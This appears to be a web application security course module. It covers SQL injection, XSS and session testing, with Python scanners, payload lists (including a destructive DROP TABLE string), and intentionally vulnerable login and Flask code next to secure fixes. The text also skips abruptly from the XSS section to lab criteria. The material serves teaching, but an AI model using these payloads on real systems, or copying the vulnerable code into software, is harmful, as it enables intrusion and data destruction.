This week builds on HTTP fundamentals to create offensive security tools for web application testing. You'll learn to:
Understand OWASP Top 10 vulnerabilities at code level
Build SQL injection detection and exploitation tools
Create XSS payload generators and fuzzers
Automate authentication bypass testing
Analyze session tokens for security flaws
⚠️ CRITICAL ETHICAL WARNING: Web vulnerability testing without explicit written authorization is illegal under CFAA (US), CFAA equivalents globally, and can result in criminal prosecution. ONLY test on systems you own, authorized lab environments (DVWA, WebGoat, PortSwigger Academy), or bug bounty programs with explicit scope. This week's tools are for defensive understanding and authorized penetration testing ONLY.
Real-World Context: Professional security tools like Burp Suite Pro, OWASP ZAP, and sqlmap use these same techniques. Understanding vulnerability mechanics helps both offensive (pentesters, bug bounty hunters) and defensive (developers, AppSec engineers) teams. This week aligns with SANS SEC573 Module 3 (Web Application Testing) and Black Hat Python Chapter 5 (Web Hacking).
Section 1: OWASP Top 10 Overview
The OWASP Top 10 (2021 Edition)
The Open Web Application Security Project (OWASP) maintains a list of the most critical web security risks. Understanding these is essential for both finding and preventing vulnerabilities.
Rank
Vulnerability
Impact
This Week
A01
Broken Access Control
Unauthorized data access/modification
Lab 4
A02
Cryptographic Failures
Sensitive data exposure
Lab 4
A03
Injection
SQL/NoSQL/OS command execution
Lab 1
A04
Insecure Design
Missing security controls
—
A05
Security Misconfiguration
Default configs, verbose errors
Lab 1
A06
Vulnerable Components
Outdated libraries with CVEs
—
A07
Authentication Failures
Credential stuffing, session hijacking
Lab 3
A08
Software/Data Integrity
Insecure CI/CD, deserialization
—
A09
Logging Failures
Insufficient monitoring
Week 8
A10
SSRF
Server-Side Request Forgery
—
This Week's Focus: Injection (SQLi), XSS, Authentication, and Access Control—the highest-impact vulnerabilities.
Legacy OWASP Top 10: XSS (Cross-Site Scripting)
While XSS was merged into Injection (A03) in 2021, it remains critical. We'll cover it separately due to its prevalence.
Reflected XSS: Payload in URL, reflected in response (phishing attacks)
Stored XSS: Payload stored in database, affects all users (highest impact)
SQL injection occurs when user input is improperly concatenated into SQL queries, allowing attackers to manipulate database logic.
Vulnerable Code Example
#!/usr/bin/env python3
"""
VULNERABLE CODE - DO NOT USE IN PRODUCTION
Demonstrates SQL injection vulnerability for educational purposes
"""
import sqlite3
def vulnerable_login(username: str, password: str) -> bool:
"""
Vulnerable login function using string concatenation.
WARNING: This code is intentionally vulnerable to demonstrate SQLi.
"""
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# VULNERABLE: User input directly concatenated into SQL query
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
print(f"[DEBUG] Query: {query}")
cursor.execute(query)
result = cursor.fetchone()
conn.close()
return result is not None
# Attack demonstration
print("=== Normal Login ===")
vulnerable_login("admin", "password123") # Normal usage
print("\n=== SQL Injection Attack ===")
# Attacker inputs: username = "admin'--", password = "anything"
# Resulting query: SELECT * FROM users WHERE username='admin'--' AND password='anything'
# The -- comments out the password check, bypassing authentication!
vulnerable_login("admin'--", "anything")
print("\n=== Union-Based SQLi ===")
# Union attack to extract data from other tables
payload = "' UNION SELECT username, password FROM admins--"
vulnerable_login(payload, "")
SQL Injection Types
1. Error-Based SQL Injection
Triggers database errors to leak information:
-- Payload: admin' AND 1=CONVERT(int, (SELECT @@version))--
-- Error reveals database version in error message
2. Union-Based SQL Injection
Uses UNION to combine attacker's query with original:
-- Payload: ' UNION SELECT username, password FROM users--
-- Returns all usernames and passwords from users table
3. Blind SQL Injection
No direct output, but behavior changes based on true/false conditions:
-- Boolean-based blind SQLi
-- Payload: ' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=10--
-- If page behaves normally, password is 10 characters
-- Time-based blind SQLi
-- Payload: ' AND IF(1=1, SLEEP(5), 0)--
-- If page delays 5 seconds, injection successful
Building a SQL Injection Scanner
#!/usr/bin/env python3
"""
Basic SQL injection scanner for educational purposes
Tests common SQLi payloads against web forms
"""
import requests
from typing import List, Dict
import time
class SQLiScanner:
"""
SQL injection vulnerability scanner.
"""
def __init__(self, target_url: str):
"""
Initialize scanner with target URL.
Args:
target_url: URL of vulnerable endpoint
"""
self.target_url = target_url
self.session = requests.Session()
# Common SQL injection payloads
self.payloads = [
"'", # Basic single quote
"' OR '1'='1", # Classic bypass
"' OR '1'='1'--", # With comment
"' OR '1'='1'/*", # MySQL comment
"admin'--", # Username bypass
"' UNION SELECT NULL--", # Union test
"' AND 1=1--", # Boolean true
"' AND 1=2--", # Boolean false
"' OR SLEEP(5)--", # Time-based (MySQL)
"'; DROP TABLE users--", # Destructive (NEVER use on real systems)
]
def test_parameter(self, param_name: str, method: str = 'GET') -> List[Dict]:
"""
Test a parameter for SQL injection.
Args:
param_name: Parameter name to test
method: HTTP method (GET or POST)
Returns:
List of vulnerabilities found
"""
vulnerabilities = []
print(f"\n[*] Testing parameter: {param_name}")
print(f"[*] Method: {method}")
print(f"[*] Testing {len(self.payloads)} payloads...\n")
for payload in self.payloads:
if method.upper() == 'GET':
params = {param_name: payload}
try:
start_time = time.time()
response = self.session.get(
self.target_url,
params=params,
timeout=10
)
elapsed_time = time.time() - start_time
# Check for SQL injection indicators
vuln = self._analyze_response(response, payload, elapsed_time)
if vuln:
vulnerabilities.append(vuln)
print(f"[!] VULNERABLE: {payload}")
print(f" Type: {vuln['type']}")
print(f" Evidence: {vuln['evidence'][:100]}")
except requests.exceptions.Timeout:
print(f"[?] Timeout with payload: {payload}")
except Exception as e:
print(f"[!] Error with payload '{payload}': {e}")
# Rate limiting
time.sleep(0.5)
return vulnerabilities
def _analyze_response(self, response: requests.Response, payload: str, elapsed_time: float) -> Dict | None:
"""
Analyze response for SQL injection indicators.
Returns:
Vulnerability dict if found, None otherwise
"""
# Error-based detection
error_signatures = [
'SQL syntax',
'mysql_fetch',
'mysqli',
'SQLException',
'ORA-',
'Microsoft SQL',
'ODBC',
'PostgreSQL',
'sqlite3.OperationalError',
'Unclosed quotation mark',
]
for signature in error_signatures:
if signature.lower() in response.text.lower():
return {
'type': 'Error-based SQLi',
'payload': payload,
'evidence': f"Error signature found: {signature}",
'response_code': response.status_code
}
# Time-based detection
if 'SLEEP' in payload.upper() or 'WAITFOR' in payload.upper():
if elapsed_time > 4: # Expected delay
return {
'type': 'Time-based Blind SQLi',
'payload': payload,
'evidence': f"Response delayed {elapsed_time:.2f}s",
'response_code': response.status_code
}
# Boolean-based detection (requires baseline comparison)
# This is simplified - real implementation would compare with baseline
return None
def generate_report(self, vulnerabilities: List[Dict]) -> None:
"""
Generate vulnerability report.
"""
print(f"\n{'='*60}")
print(f"SQL INJECTION SCAN REPORT")
print(f"{'='*60}")
print(f"Target: {self.target_url}")
print(f"Vulnerabilities Found: {len(vulnerabilities)}\n")
if vulnerabilities:
for i, vuln in enumerate(vulnerabilities, 1):
print(f"[{i}] {vuln['type']}")
print(f" Payload: {vuln['payload']}")
print(f" Evidence: {vuln['evidence']}")
print(f" Status Code: {vuln['response_code']}\n")
else:
print("[✓] No SQL injection vulnerabilities detected")
print(f"{'='*60}\n")
# Usage example (ONLY on authorized targets)
if __name__ == '__main__':
# Example: Test DVWA or local vulnerable app
scanner = SQLiScanner('http://localhost/dvwa/vulnerabilities/sqli/')
# Test the 'id' parameter
vulnerabilities = scanner.test_parameter('id', method='GET')
# Generate report
scanner.generate_report(vulnerabilities)
Defense: Parameterized Queries
The ONLY effective defense against SQL injection:
#!/usr/bin/env python3
"""
SECURE CODE - Parameterized queries prevent SQL injection
"""
import sqlite3
def secure_login(username: str, password: str) -> bool:
"""
Secure login using parameterized queries.
User input is NEVER concatenated into SQL - it's passed as parameters.
"""
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# SECURE: Use ? placeholders and pass values as tuple
query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(query, (username, password))
result = cursor.fetchone()
conn.close()
return result is not None
# SQLi payloads are now treated as literal strings, not SQL code
print(secure_login("admin'--", "anything")) # Returns False (no bypass)
print(secure_login("admin", "correct_password")) # Returns True if valid
Section 3: Cross-Site Scripting (XSS)
XSS Attack Mechanics
XSS allows attackers to inject malicious JavaScript into web pages viewed by other users.
Reflected XSS Example
#!/usr/bin/env python3
"""
Vulnerable Flask application demonstrating reflected XSS
"""
from flask import Flask, request
app = Flask(__name__)
@app.route('/search')
def vulnerable_search():
"""
VULNERABLE: User input reflected without sanitization.
"""
query = request.args.get('q', '')
# VULNERABLE: Direct HTML output of user input
return f"""
<html>
<body>
<h1>Search Results</h1>
<p>You searched for: {query}</p>
</body>
</html>
"""
# Attack URL:
# http://localhost:5000/search?q=<script>alert('XSS')</script>
# Result: JavaScript executes in victim's browser
Generates detailed security report with CVSS scoring
Collect 20+ session tokens to test randomness
Calculate Shannon entropy of tokens
Success Criteria:
Identifies all insecure cookie configurations
Detects weak session token generation
Tests session fixation attack vector
Reports risk level for each finding
Hint: Session Fixation Test
def test_session_fixation(login_url: str, credentials: dict) -> bool:
"""
Test if application is vulnerable to session fixation.
Session fixation occurs when session ID doesn't change after login.
Returns:
True if vulnerable to session fixation
"""
session = requests.Session()
# Step 1: Get initial session token (before login)
session.get(login_url)
initial_token = session.cookies.get('PHPSESSID') or \
session.cookies.get('sessionid')
print(f"[*] Initial session token: {initial_token}")
# Step 2: Login with credentials
session.post(login_url, data=credentials)
# Step 3: Get session token after login
authenticated_token = session.cookies.get('PHPSESSID') or \
session.cookies.get('sessionid')
print(f"[*] Post-login session token: {authenticated_token}")
# Step 4: Compare tokens
if initial_token == authenticated_token:
print("[!!! CRITICAL] SESSION FIXATION VULNERABILITY!")
print(" Session token did not change after authentication")
print(" Attacker can fixate victim's session and hijack after login")
return True
else:
print("[✓] Session token regenerated after login (secure)")
return False
def test_session_logout(login_url: str, logout_url: str,
protected_url: str, credentials: dict) -> bool:
"""
Test if session properly invalidates after logout.
Returns:
True if session persists after logout (vulnerability)
"""
session = requests.Session()
# Login
session.post(login_url, data=credentials)
# Verify authenticated
response = session.get(protected_url)
if response.status_code != 200:
print("[!] Could not verify authentication")
return False
print("[*] Authenticated successfully")
# Save session token
token = session.cookies.get('PHPSESSID') or session.cookies.get('sessionid')
print(f"[*] Session token: {token}")
# Logout
session.get(logout_url)
print("[*] Logged out")
# Try accessing protected resource with same token
response = session.get(protected_url)
if response.status_code == 200 and 'dashboard' in response.text.lower():
print("[!!! CRITICAL] Session persists after logout!")
print(" Old session token still grants access")
return True
else:
print("[✓] Session properly invalidated after logout")
return False
# Usage
is_fixation_vulnerable = test_session_fixation(
'http://localhost/login',
{'username': 'admin', 'password': 'password'}
)
is_logout_vulnerable = test_session_logout(
login_url='http://localhost/login',
logout_url='http://localhost/logout',
protected_url='http://localhost/dashboard',
credentials={'username': 'admin', 'password': 'password'}
)
🎯 Lab Complete! You've built a professional web vulnerability scanner suite covering OWASP Top 10 threats. These tools form the foundation of application security testing. Remember: authorization is mandatory before testing ANY system you don't own.